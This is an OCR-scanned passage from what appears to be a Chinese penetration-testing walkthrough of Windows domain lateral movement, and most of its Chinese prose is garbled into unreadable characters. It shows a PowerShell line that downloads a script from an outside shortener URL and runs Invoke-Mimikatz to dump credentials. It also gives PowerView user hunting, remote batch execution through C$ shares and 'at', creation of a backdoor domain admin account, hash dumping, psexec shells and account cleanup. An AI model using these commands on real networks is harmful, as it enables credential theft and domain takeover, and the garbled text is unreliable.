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net user /domain

Net group “domain computers” /domain

net group “domain admins” /domain  #&X & H
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Net group “domain admins” /domain
Net group /domain
Net group “domain controllers” /domain

Net group “enterprise admins” /domain
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Net.WebClient).DownloadString('http://is.gd/oeoFul'); Invoke-Mimikatz -DumpCreds"
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Line 1151: function Invoke- Method([ __ComCbject] SObject, [String] S$Method
Line 1206: function Invoke-Method([__ ComObject] Sobject, [String] S$method, $p
Line 3072: function Invoke-ACLScanner {

Line 6750: function Invoke-CheckLocallAdminAccess {

Line 7316: function Invoke-CheckWrite {

Line 7374: function Invoke-ThreadedFunction {

Line 7515: function Invoke-UserHunter {

Line 8101: function Invoke-StealthUserHunter {

Line 8172: function Invoke-ProcessHunter {

Line 8570: function Invoke-EventHunter {

Line 8879: function Invoke-ShareFinder {

Line 9197: function Invoke-FileFinder {

Line 10259: function Invoke-EnumerateLocalAdmin {

Line 10975: function Invoke-MapDomainTrust {
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JRIEVE T IX 4%, FHIFGIRAMS, IR B, REMEGRE R, f#Rg—Ha)
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X IR IR FEIRA T € R 5E B — P15 B3R, g K-

powershell #iTanF
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"
K] 8-1 powershell $AT#r 2
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Meterpreter ] shell

Net use \\J# 4% ip\c$S

Net time \\1Z3% ip

Copy bat.bat \\1#4% ip\c$

At \JEF ip time c:\bat.bat (kL2 AMIIEE R, $E01 schtasks.exe, 15310
3 BRI A RA — %, I K

Net user demo demo /ad /domain

Net group “domain admins” demo /ad /domain

B 7z, BAMCEIMAEEDIR 1. FEASE L.

K 9-2 BInEE HIK S

21


\\域控ip\c$
\\域控ip\c$
\\域控ip

CO@0OQ_ xuz -zm
rﬁAHA L,A QD urml.org.cn

Tn:
O
O
S
ha))

K 9-3 EEWEHEE S )

F4+% HIEHKE T (msf psexec K3 shell)

—FHNE, BRAAT, B ERRHEETEXR 7. 2RO 2B AR . %R
A TR, RITHRMHMEZET R 1, WaEmAUR A T8 7 1.

et g, FREBIERIAIRZ AN, MR T IREEEE R LR, FH{E K
FA K KA FIE ) -

1 ¥ R B socks B SR 1A% 1L FE S 1]

2 BT NI — & LT psexec SRS shell
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H T HEPIRZ G, WRBANEEHATIRZ RG], B4 dumphash 2 S AT D,
R E B AT EW R

1 msf AR LUER, —N& hashdump, BB H 68 S H AT hash, K
WAL AT PAENIE 1, 53 4— & smart_hashdump, it Eea] LR R 5 38 A P 1 hash.

2 powershell 1] DLE 5 R, KEEATEA—T

3 wce,mimikatz 5 25 18 FH

12X BRI 2 msf [ smart_hashdump FOARER . 75 b 75 B3 = 1) 2 AR e F e s
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WRAE T snE, RIAEEHIE Session —3LAF 5, Hpfa YA 2 A IESRELT,

435N sessionl,session2 session4,session5. F: sessionl N webshell Jx T3R5, 24
session2 1Z B3Rk B E ], ,sessiond N FREUR & F 53 AT 3K HL, session5 A3 . H 57 session3

ARIRAE S R, IR VI Z R RATB AU 15 b BRI A R e BB E I, F

25



PO0@O0_ wng -8
. 7O uml.org.cn

55 712580 RMBIAH SN, H S0 K 1L

B+=F BBRBHRT, RNERHNET, EHEG, ARGE
)

TEN— IR A I, BATLITEM BRI, KEER. FrUAR I, ok
THIHEIF . 3 R BIH R AR R A

1 MRS RIS A3 BRI

2 MBR A BOAE A AR A 0 TR

3 MHER B A rRAEIL

4 KM P ) meterpreter
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PS C:\Windows\system32> net user sonicwalll /del
he command completed successfully.

PS C:\Windows\system32> logoff_
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